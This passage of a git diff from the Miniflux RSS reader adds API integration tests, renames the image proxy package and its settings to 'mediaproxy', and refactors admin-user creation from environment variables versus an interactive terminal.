!strings.HasPrefix(string(exportedData), " + + + + + + + ` + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + bytesReader := bytes.NewReader([]byte(data)) + if err := regularUserClient.Import(io.NopCloser(bytesReader)); err != nil { + t.Fatal(err) + } +} + +func TestDiscoverSubscriptionsEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + client := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + subscriptions, err := client.Discover(testConfig.testWebsiteURL) + if err != nil { + t.Fatal(err) + } + + if len(subscriptions) == 0 { + t.Fatalf(`Invalid number of subscriptions, got %d`, len(subscriptions)) + } + + if subscriptions[0].Title != testConfig.testSubscriptionTitle { + t.Fatalf(`Invalid title, got %q`, subscriptions[0].Title) + } + + if subscriptions[0].URL != testConfig.testFeedURL { + t.Fatalf(`Invalid URL, got %q`, subscriptions[0].URL) + } +} + +func TestDiscoverSubscriptionsWithInvalidURL(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + client := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + _, err := client.Discover("invalid_url") + if err == nil { + t.Fatalf(`Discovering subscriptions with an invalid URL should raise an error`) + } +} + +func TestDiscoverSubscriptionsWithNoSubscription(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + client := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + if _, err := client.Discover(testConfig.testBaseURL); err != miniflux.ErrNotFound { + t.Fatalf(`Discovering subscriptions with no subscription should raise a 404 error`) + } +} + +func TestGetAllFeedEntriesEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + }) + if err != nil { + t.Fatal(err) + } + + results, err := regularUserClient.FeedEntries(feedID, nil) + if err != nil { + t.Fatal(err) + } + + if len(results.Entries) == 0 { + t.Fatalf(`Invalid number of entries, got %d`, len(results.Entries)) + } + + if results.Total == 0 { + t.Fatalf(`Invalid total, got %d`, results.Total) + } + + if results.Entries[0].FeedID != feedID { + t.Fatalf(`Invalid feedID, got %d`, results.Entries[0].FeedID) + } + + if results.Entries[0].Feed.FeedURL != testConfig.testFeedURL { + t.Fatalf(`Invalid feed URL, got %q`, results.Entries[0].Feed.FeedURL) + } + + if results.Entries[0].Title == "" { + t.Fatalf(`Invalid title, got empty`) + } +} + +func TestGetAllCategoryEntriesEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + category, err := regularUserClient.CreateCategory("My category") + if err != nil { + t.Fatal(err) + } + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + CategoryID: category.ID, + }) + if err != nil { + t.Fatal(err) + } + + results, err := regularUserClient.CategoryEntries(category.ID, nil) + if err != nil { + t.Fatal(err) + } + + if len(results.Entries) == 0 { + t.Fatalf(`Invalid number of entries, got %d`, len(results.Entries)) + } + + if results.Total == 0 { + t.Fatalf(`Invalid total, got %d`, results.Total) + } + + if results.Entries[0].FeedID != feedID { + t.Fatalf(`Invalid feedID, got %d`, results.Entries[0].FeedID) + } + + if results.Entries[0].Feed.FeedURL != testConfig.testFeedURL { + t.Fatalf(`Invalid feed URL, got %q`, results.Entries[0].Feed.FeedURL) + } + + if results.Entries[0].Title == "" { + t.Fatalf(`Invalid title, got empty`) + } +} + +func TestGetAllEntriesEndpointWithFilter(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + }) + if err != nil { + t.Fatal(err) + } + + feedEntries, err := regularUserClient.Entries(&miniflux.Filter{FeedID: feedID}) + if err != nil { + t.Fatal(err) + } + + if len(feedEntries.Entries) == 0 { + t.Fatalf(`Invalid number of entries, got %d`, len(feedEntries.Entries)) + } + + if feedEntries.Total == 0 { + t.Fatalf(`Invalid total, got %d`, feedEntries.Total) + } + + if feedEntries.Entries[0].FeedID != feedID { + t.Fatalf(`Invalid feedID, got %d`, feedEntries.Entries[0].FeedID) + } + + if feedEntries.Entries[0].Feed.FeedURL != testConfig.testFeedURL { + t.Fatalf(`Invalid feed URL, got %q`, feedEntries.Entries[0].Feed.FeedURL) + } + + if feedEntries.Entries[0].Title == "" { + t.Fatalf(`Invalid title, got empty`) + } + + recentEntries, err := regularUserClient.Entries(&miniflux.Filter{Order: "published_at", Direction: "desc"}) + if err != nil { + t.Fatal(err) + } + + if len(recentEntries.Entries) == 0 { + t.Fatalf(`Invalid number of entries, got %d`, len(recentEntries.Entries)) + } + + if recentEntries.Total == 0 { + t.Fatalf(`Invalid total, got %d`, recentEntries.Total) + } + + if feedEntries.Entries[0].Title == recentEntries.Entries[0].Title { + t.Fatalf(`Invalid order, got the same title`) + } + + searchedEntries, err := regularUserClient.Entries(&miniflux.Filter{Search: "2.0.8"}) + if err != nil { + t.Fatal(err) + } + + if searchedEntries.Total != 1 { + t.Fatalf(`Invalid total, got %d`, searchedEntries.Total) + } + + if _, err := regularUserClient.Entries(&miniflux.Filter{Status: "invalid"}); err == nil { + t.Fatal(`Using invalid status should raise an error`) + } + + if _, err = regularUserClient.Entries(&miniflux.Filter{Direction: "invalid"}); err == nil { + t.Fatal(`Using invalid direction should raise an error`) + } + + if _, err = regularUserClient.Entries(&miniflux.Filter{Order: "invalid"}); err == nil { + t.Fatal(`Using invalid order should raise an error`) + } +} + +func TestGetEntryEndpoints(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + }) + if err != nil { + t.Fatal(err) + } + + result, err := regularUserClient.FeedEntries(feedID, nil) + if err != nil { + t.Fatalf(`Failed to get entries: %v`, err) + } + + entry, err := regularUserClient.FeedEntry(feedID, result.Entries[0].ID) + if err != nil { + t.Fatal(err) + } + + if entry.ID != result.Entries[0].ID { + t.Fatalf(`Invalid entryID, got %d`, entry.ID) + } + + if entry.FeedID != feedID { + t.Fatalf(`Invalid feedID, got %d`, entry.FeedID) + } + + if entry.Feed.FeedURL != testConfig.testFeedURL { + t.Fatalf(`Invalid feed URL, got %q`, entry.Feed.FeedURL) + } + + entry, err = regularUserClient.Entry(result.Entries[0].ID) + if err != nil { + t.Fatal(err) + } + + if entry.ID != result.Entries[0].ID { + t.Fatalf(`Invalid entryID, got %d`, entry.ID) + } + + entry, err = regularUserClient.CategoryEntry(result.Entries[0].Feed.Category.ID, result.Entries[0].ID) + if err != nil { + t.Fatal(err) + } + + if entry.ID != result.Entries[0].ID { + t.Fatalf(`Invalid entryID, got %d`, entry.ID) + } +} + +func TestUpdateEntryStatusEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + }) + if err != nil { + t.Fatal(err) + } + + result, err := regularUserClient.FeedEntries(feedID, nil) + if err != nil { + t.Fatalf(`Failed to get entries: %v`, err) + } + + if err := regularUserClient.UpdateEntries([]int64{result.Entries[0].ID}, miniflux.EntryStatusRead); err != nil { + t.Fatal(err) + } + + entry, err := regularUserClient.Entry(result.Entries[0].ID) + if err != nil { + t.Fatal(err) + } + + if entry.Status != miniflux.EntryStatusRead { + t.Fatalf(`Invalid status, got %q`, entry.Status) + } +} + +func TestUpdateEntryEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + }) + if err != nil { + t.Fatal(err) + } + + result, err := regularUserClient.FeedEntries(feedID, nil) + if err != nil { + t.Fatalf(`Failed to get entries: %v`, err) + } + + entryUpdateRequest := &miniflux.EntryModificationRequest{ + Title: miniflux.SetOptionalField("New title"), + Content: miniflux.SetOptionalField("New content"), + } + + updatedEntry, err := regularUserClient.UpdateEntry(result.Entries[0].ID, entryUpdateRequest) + if err != nil { + t.Fatal(err) + } + + if updatedEntry.Title != "New title" { + t.Errorf(`Invalid title, got %q`, updatedEntry.Title) + } + + if updatedEntry.Content != "New content" { + t.Errorf(`Invalid content, got %q`, updatedEntry.Content) + } + + entry, err := regularUserClient.Entry(result.Entries[0].ID) + if err != nil { + t.Fatal(err) + } + + if entry.Title != "New title" { + t.Errorf(`Invalid title, got %q`, entry.Title) + } + + if entry.Content != "New content" { + t.Errorf(`Invalid content, got %q`, entry.Content) + } +} + +func TestToggleBookmarkEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + }) + if err != nil { + t.Fatal(err) + } + + result, err := regularUserClient.FeedEntries(feedID, &miniflux.Filter{Limit: 1}) + if err != nil { + t.Fatalf(`Failed to get entries: %v`, err) + } + + if err := regularUserClient.ToggleBookmark(result.Entries[0].ID); err != nil { + t.Fatal(err) + } + + entry, err := regularUserClient.Entry(result.Entries[0].ID) + if err != nil { + t.Fatal(err) + } + + if !entry.Starred { + t.Fatalf(`The entry should be bookmarked`) + } +} + +func TestSaveEntryEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + }) + if err != nil { + t.Fatal(err) + } + + result, err := regularUserClient.FeedEntries(feedID, &miniflux.Filter{Limit: 1}) + if err != nil { + t.Fatalf(`Failed to get entries: %v`, err) + } + + if err := regularUserClient.SaveEntry(result.Entries[0].ID); !errors.Is(err, miniflux.ErrBadRequest) { + t.Fatalf(`Saving an entry should raise a bad request error because no integration is configured`) + } +} + +func TestFetchContentEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + }) + if err != nil { + t.Fatal(err) + } + + result, err := regularUserClient.FeedEntries(feedID, &miniflux.Filter{Limit: 1}) + if err != nil { + t.Fatalf(`Failed to get entries: %v`, err) + } + + content, err := regularUserClient.FetchEntryOriginalContent(result.Entries[0].ID) + if err != nil { + t.Fatal(err) + } + + if content == "" { + t.Fatalf(`Invalid content, got empty`) + } +} + +func TestFlushHistoryEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + }) + if err != nil { + t.Fatal(err) + } + + result, err := regularUserClient.FeedEntries(feedID, &miniflux.Filter{Limit: 3}) + if err != nil { + t.Fatalf(`Failed to get entries: %v`, err) + } + + if err := regularUserClient.UpdateEntries([]int64{result.Entries[0].ID, result.Entries[1].ID}, miniflux.EntryStatusRead); err != nil { + t.Fatal(err) + } + + if err := regularUserClient.FlushHistory(); err != nil { + t.Fatal(err) + } + + readEntries, err := regularUserClient.Entries(&miniflux.Filter{Status: miniflux.EntryStatusRead}) + if err != nil { + t.Fatal(err) + } + + if readEntries.Total != 0 { + t.Fatalf(`Invalid total, got %d`, readEntries.Total) + } + + removedEntries, err := regularUserClient.Entries(&miniflux.Filter{Status: miniflux.EntryStatusRemoved}) + if err != nil { + t.Fatal(err) + } + + if removedEntries.Total != 2 { + t.Fatalf(`Invalid total, got %d`, removedEntries.Total) + } +} diff --git a/internal/api/entry.go b/internal/api/entry.go index f8d1ce69..6a299a01 100644 --- a/internal/api/entry.go +++ b/internal/api/entry.go @@ -15,8 +15,8 @@ import ( "miniflux.app/v2/internal/http/request" "miniflux.app/v2/internal/http/response/json" "miniflux.app/v2/internal/integration" + "miniflux.app/v2/internal/mediaproxy" "miniflux.app/v2/internal/model" - "miniflux.app/v2/internal/proxy" "miniflux.app/v2/internal/reader/processor" "miniflux.app/v2/internal/reader/readingtime" "miniflux.app/v2/internal/storage" @@ -36,14 +36,14 @@ func (h *handler) getEntryFromBuilder(w http.ResponseWriter, r *http.Request, b return } - entry.Content = proxy.AbsoluteProxyRewriter(h.router, r.Host, entry.Content) - proxyOption := config.Opts.ProxyOption() + entry.Content = mediaproxy.RewriteDocumentWithAbsoluteProxyURL(h.router, r.Host, entry.Content) + proxyOption := config.Opts.MediaProxyMode() for i := range entry.Enclosures { if proxyOption == "all" || proxyOption != "none" && !urllib.IsHTTPS(entry.Enclosures[i].URL) { - for _, mediaType := range config.Opts.ProxyMediaTypes() { + for _, mediaType := range config.Opts.MediaProxyResourceTypes() { if strings.HasPrefix(entry.Enclosures[i].MimeType, mediaType+"/") { - entry.Enclosures[i].URL = proxy.AbsoluteProxifyURL(h.router, r.Host, entry.Enclosures[i].URL) + entry.Enclosures[i].URL = mediaproxy.ProxifyAbsoluteURL(h.router, r.Host, entry.Enclosures[i].URL) break } } @@ -164,7 +164,7 @@ func (h *handler) findEntries(w http.ResponseWriter, r *http.Request, feedID int } for i := range entries { - entries[i].Content = proxy.AbsoluteProxyRewriter(h.router, r.Host, entries[i].Content) + entries[i].Content = mediaproxy.RewriteDocumentWithAbsoluteProxyURL(h.router, r.Host, entries[i].Content) } json.OK(w, r, &entriesResponse{Total: count, Entries: entries}) diff --git a/internal/api/feed.go b/internal/api/feed.go index 33973402..3bcc2edc 100644 --- a/internal/api/feed.go +++ b/internal/api/feed.go @@ -115,7 +115,7 @@ func (h *handler) updateFeed(w http.ResponseWriter, r *http.Request) { return } - if validationErr := validator.ValidateFeedModification(h.store, userID, &feedModificationRequest); validationErr != nil { + if validationErr := validator.ValidateFeedModification(h.store, userID, originalFeed.ID, &feedModificationRequest); validationErr != nil { json.BadRequest(w, r, validationErr.Error()) return } diff --git a/internal/cli/ask_credentials.go b/internal/cli/ask_credentials.go index 1c1e2c12..a4264a9b 100644 --- a/internal/cli/ask_credentials.go +++ b/internal/cli/ask_credentials.go @@ -16,7 +16,7 @@ func askCredentials() (string, string) { fd := int(os.Stdin.Fd()) if !term.IsTerminal(fd) { - printErrorAndExit(fmt.Errorf("this is not a terminal, exiting")) + printErrorAndExit(fmt.Errorf("this is not an interactive terminal, exiting")) } fmt.Print("Enter Username: ") diff --git a/internal/cli/cli.go b/internal/cli/cli.go index a1ef7eef..f56bb959 100644 --- a/internal/cli/cli.go +++ b/internal/cli/cli.go @@ -23,7 +23,7 @@ const ( flagVersionHelp = "Show application version" flagMigrateHelp = "Run SQL migrations" flagFlushSessionsHelp = "Flush all sessions (disconnect users)" - flagCreateAdminHelp = "Create admin user" + flagCreateAdminHelp = "Create an admin user from an interactive terminal" flagResetPasswordHelp = "Reset user password" flagResetFeedErrorsHelp = "Clear all feed errors for all users" flagDebugModeHelp = "Show debug logs" @@ -191,7 +191,7 @@ func Parse() { } if flagCreateAdmin { - createAdmin(store) + createAdminUserFromInteractiveTerminal(store) return } @@ -211,9 +211,8 @@ func Parse() { printErrorAndExit(err) } - // Create admin user and start the daemon. if config.Opts.CreateAdmin() { - createAdmin(store) + createAdminUserFromEnvironmentVariables(store) } if flagRefreshFeeds { diff --git a/internal/cli/create_admin.go b/internal/cli/create_admin.go index d45073f3..f8199819 100644 --- a/internal/cli/create_admin.go +++ b/internal/cli/create_admin.go @@ -12,15 +12,20 @@ import ( "miniflux.app/v2/internal/validator" ) -func createAdmin(store *storage.Storage) { - userCreationRequest := &model.UserCreationRequest{ - Username: config.Opts.AdminUsername(), - Password: config.Opts.AdminPassword(), - IsAdmin: true, - } +func createAdminUserFromEnvironmentVariables(store *storage.Storage) { + createAdminUser(store, config.Opts.AdminUsername(), config.Opts.AdminPassword()) +} - if userCreationRequest.Username == "" || userCreationRequest.Password == "" { - userCreationRequest.Username, userCreationRequest.Password = askCredentials() +func createAdminUserFromInteractiveTerminal(store *storage.Storage) { + username, password := askCredentials() + createAdminUser(store, username, password) +} + +func createAdminUser(store *storage.Storage, username, password string) { + userCreationRequest := &model.UserCreationRequest{ + Username: username, + Password: password, + IsAdmin: true, } if store.UserExists(userCreationRequest.Username) { @@ -34,7 +39,12 @@ func createAdmin(store *storage.Storage) { printErrorAndExit(validationErr.Error()) } - if _, err := store.CreateUser(userCreationRequest); err != nil { + if user, err := store.CreateUser(userCreationRequest); err != nil { printErrorAndExit(err) + } else { + slog.Info("Created new admin user", + slog.String("username", user.Username), + slog.Int64("user_id", user.ID), + ) } } diff --git a/internal/config/config_test.go b/internal/config/config_test.go index c907ce34..bcf58da3 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -4,6 +4,7 @@ package config // import "miniflux.app/v2/internal/config" import ( + "bytes" "os" "testing" ) @@ -1442,9 +1443,9 @@ func TestPocketConsumerKeyFromUserPrefs(t *testing.T) { } } -func TestProxyOption(t *testing.T) { +func TestMediaProxyMode(t *testing.T) { os.Clearenv() - os.Setenv("PROXY_OPTION", "all") + os.Setenv("MEDIA_PROXY_MODE", "all") parser := NewParser() opts, err := parser.ParseEnvironmentVariables() @@ -1453,14 +1454,14 @@ func TestProxyOption(t *testing.T) { } expected := "all" - result := opts.ProxyOption() + result := opts.MediaProxyMode() if result != expected { - t.Fatalf(`Unexpected PROXY_OPTION value, got %q instead of %q`, result, expected) + t.Fatalf(`Unexpected MEDIA_PROXY_MODE value, got %q instead of %q`, result, expected) } } -func TestDefaultProxyOptionValue(t *testing.T) { +func TestDefaultMediaProxyModeValue(t *testing.T) { os.Clearenv() parser := NewParser() @@ -1469,17 +1470,17 @@ func TestDefaultProxyOptionValue(t *testing.T) { t.Fatalf(`Parsing failure: %v`, err) } - expected := defaultProxyOption - result := opts.ProxyOption() + expected := defaultMediaProxyMode + result := opts.MediaProxyMode() if result != expected { - t.Fatalf(`Unexpected PROXY_OPTION value, got %q instead of %q`, result, expected) + t.Fatalf(`Unexpected MEDIA_PROXY_MODE value, got %q instead of %q`, result, expected) } } -func TestProxyMediaTypes(t *testing.T) { +func TestMediaProxyResourceTypes(t *testing.T) { os.Clearenv() - os.Setenv("PROXY_MEDIA_TYPES", "image,audio") + os.Setenv("MEDIA_PROXY_RESOURCE_TYPES", "image,audio") parser := NewParser() opts, err := parser.ParseEnvironmentVariables() @@ -1489,25 +1490,25 @@ func TestProxyMediaTypes(t *testing.T) { expected := []string{"audio", "image"} - if len(expected) != len(opts.ProxyMediaTypes()) { - t.Fatalf(`Unexpected PROXY_MEDIA_TYPES value, got %v instead of %v`, opts.ProxyMediaTypes(), expected) + if len(expected) != len(opts.MediaProxyResourceTypes()) { + t.Fatalf(`Unexpected MEDIA_PROXY_RESOURCE_TYPES value, got %v instead of %v`, opts.MediaProxyResourceTypes(), expected) } resultMap := make(map[string]bool) - for _, mediaType := range opts.ProxyMediaTypes() { + for _, mediaType := range opts.MediaProxyResourceTypes() { resultMap[mediaType] = true } for _, mediaType := range expected { if !resultMap[mediaType] { - t.Fatalf(`Unexpected PROXY_MEDIA_TYPES value, got %v instead of %v`, opts.ProxyMediaTypes(), expected) + t.Fatalf(`Unexpected MEDIA_PROXY_RESOURCE_TYPES value, got %v instead of %v`, opts.MediaProxyResourceTypes(), expected) } } } -func TestProxyMediaTypesWithDuplicatedValues(t *testing.T) { +func TestMediaProxyResourceTypesWithDuplicatedValues(t *testing.T) { os.Clearenv() - os.Setenv("PROXY_MEDIA_TYPES", "image,audio, image") + os.Setenv("MEDIA_PROXY_RESOURCE_TYPES", "image,audio, image") parser := NewParser() opts, err := parser.ParseEnvironmentVariables() @@ -1516,23 +1517,119 @@ func TestProxyMediaTypesWithDuplicatedValues(t *testing.T) { } expected := []string{"audio", "image"} - if len(expected) != len(opts.ProxyMediaTypes()) { - t.Fatalf(`Unexpected PROXY_MEDIA_TYPES value, got %v instead of %v`, opts.ProxyMediaTypes(), expected) + if len(expected) != len(opts.MediaProxyResourceTypes()) { + t.Fatalf(`Unexpected MEDIA_PROXY_RESOURCE_TYPES value, got %v instead of %v`, opts.MediaProxyResourceTypes(), expected) } resultMap := make(map[string]bool) - for _, mediaType := range opts.ProxyMediaTypes() { + for _, mediaType := range opts.MediaProxyResourceTypes() { resultMap[mediaType] = true } for _, mediaType := range expected { if !resultMap[mediaType] { - t.Fatalf(`Unexpected PROXY_MEDIA_TYPES value, got %v instead of %v`, opts.ProxyMediaTypes(), expected) + t.Fatalf(`Unexpected MEDIA_PROXY_RESOURCE_TYPES value, got %v instead of %v`, opts.MediaProxyResourceTypes(), expected) } } } -func TestProxyImagesOptionBackwardCompatibility(t *testing.T) { +func TestDefaultMediaProxyResourceTypes(t *testing.T) { + os.Clearenv() + + parser := NewParser() + opts, err := parser.ParseEnvironmentVariables() + if err != nil { + t.Fatalf(`Parsing failure: %v`, err) + } + + expected := []string{"image"} + + if len(expected) != len(opts.MediaProxyResourceTypes()) { + t.Fatalf(`Unexpected MEDIA_PROXY_RESOURCE_TYPES value, got %v instead of %v`, opts.MediaProxyResourceTypes(), expected) + } + + resultMap := make(map[string]bool) + for _, mediaType := range opts.MediaProxyResourceTypes() { + resultMap[mediaType] = true + } + + for _, mediaType := range expected { + if !resultMap[mediaType] { + t.Fatalf(`Unexpected MEDIA_PROXY_RESOURCE_TYPES value, got %v instead of %v`, opts.MediaProxyResourceTypes(), expected) + } + } +} + +func TestMediaProxyHTTPClientTimeout(t *testing.T) { + os.Clearenv() + os.Setenv("MEDIA_PROXY_HTTP_CLIENT_TIMEOUT", "24") + + parser := NewParser() + opts, err := parser.ParseEnvironmentVariables() + if err != nil { + t.Fatalf(`Parsing failure: %v`, err) + } + + expected := 24 + result := opts.MediaProxyHTTPClientTimeout() + + if result != expected { + t.Fatalf(`Unexpected MEDIA_PROXY_HTTP_CLIENT_TIMEOUT value, got %d instead of %d`, result, expected) + } +} + +func TestDefaultMediaProxyHTTPClientTimeoutValue(t *testing.T) { + os.Clearenv() + + parser := NewParser() + opts, err := parser.ParseEnvironmentVariables() + if err != nil { + t.Fatalf(`Parsing failure: %v`, err) + } + + expected := defaultMediaProxyHTTPClientTimeout + result := opts.MediaProxyHTTPClientTimeout() + + if result != expected { + t.Fatalf(`Unexpected MEDIA_PROXY_HTTP_CLIENT_TIMEOUT value, got %d instead of %d`, result, expected) + } +} + +func TestMediaProxyCustomURL(t *testing.T) { + os.Clearenv() + os.Setenv("MEDIA_PROXY_CUSTOM_URL", "http://example.org/proxy") + + parser := NewParser() + opts, err := parser.ParseEnvironmentVariables() + if err != nil { + t.Fatalf(`Parsing failure: %v`, err) + } + expected := "http://example.org/proxy" + result := opts.MediaCustomProxyURL() + if result != expected { + t.Fatalf(`Unexpected MEDIA_PROXY_CUSTOM_URL value, got %q instead of %q`, result, expected) + } +} + +func TestMediaProxyPrivateKey(t *testing.T) { + os.Clearenv() + os.Setenv("MEDIA_PROXY_PRIVATE_KEY", "foobar") + + parser := NewParser() + opts, err := parser.ParseEnvironmentVariables() + if err != nil { + t.Fatalf(`Parsing failure: %v`, err) + } + + expected := []byte("foobar") + result := opts.MediaProxyPrivateKey() + + if !bytes.Equal(result, expected) { + t.Fatalf(`Unexpected MEDIA_PROXY_PRIVATE_KEY value, got %q instead of %q`, result, expected) + } +} + +func TestProxyImagesOptionForBackwardCompatibility(t *testing.T) { os.Clearenv() os.Setenv("PROXY_IMAGES", "all") @@ -1543,30 +1640,31 @@ func TestProxyImagesOptionBackwardCompatibility(t *testing.T) { } expected := []string{"image"} - if len(expected) != len(opts.ProxyMediaTypes()) { - t.Fatalf(`Unexpected PROXY_MEDIA_TYPES value, got %v instead of %v`, opts.ProxyMediaTypes(), expected) + if len(expected) != len(opts.MediaProxyResourceTypes()) { + t.Fatalf(`Unexpected PROXY_IMAGES value, got %v instead of %v`, opts.MediaProxyResourceTypes(), expected) } resultMap := make(map[string]bool) - for _, mediaType := range opts.ProxyMediaTypes() { + for _, mediaType := range opts.MediaProxyResourceTypes() { resultMap[mediaType] = true } for _, mediaType := range expected { if !resultMap[mediaType] { - t.Fatalf(`Unexpected PROXY_MEDIA_TYPES value, got %v instead of %v`, opts.ProxyMediaTypes(), expected) + t.Fatalf(`Unexpected PROXY_IMAGES value, got %v instead of %v`, opts.MediaProxyResourceTypes(), expected) } } expectedProxyOption := "all" - result := opts.ProxyOption() + result := opts.MediaProxyMode() if result != expectedProxyOption { t.Fatalf(`Unexpected PROXY_OPTION value, got %q instead of %q`, result, expectedProxyOption) } } -func TestDefaultProxyMediaTypes(t *testing.T) { +func TestProxyImageURLForBackwardCompatibility(t *testing.T) { os.Clearenv() + os.Setenv("PROXY_IMAGE_URL", "http://example.org/proxy") parser := NewParser() opts, err := parser.ParseEnvironmentVariables() @@ -1574,25 +1672,73 @@ func TestDefaultProxyMediaTypes(t 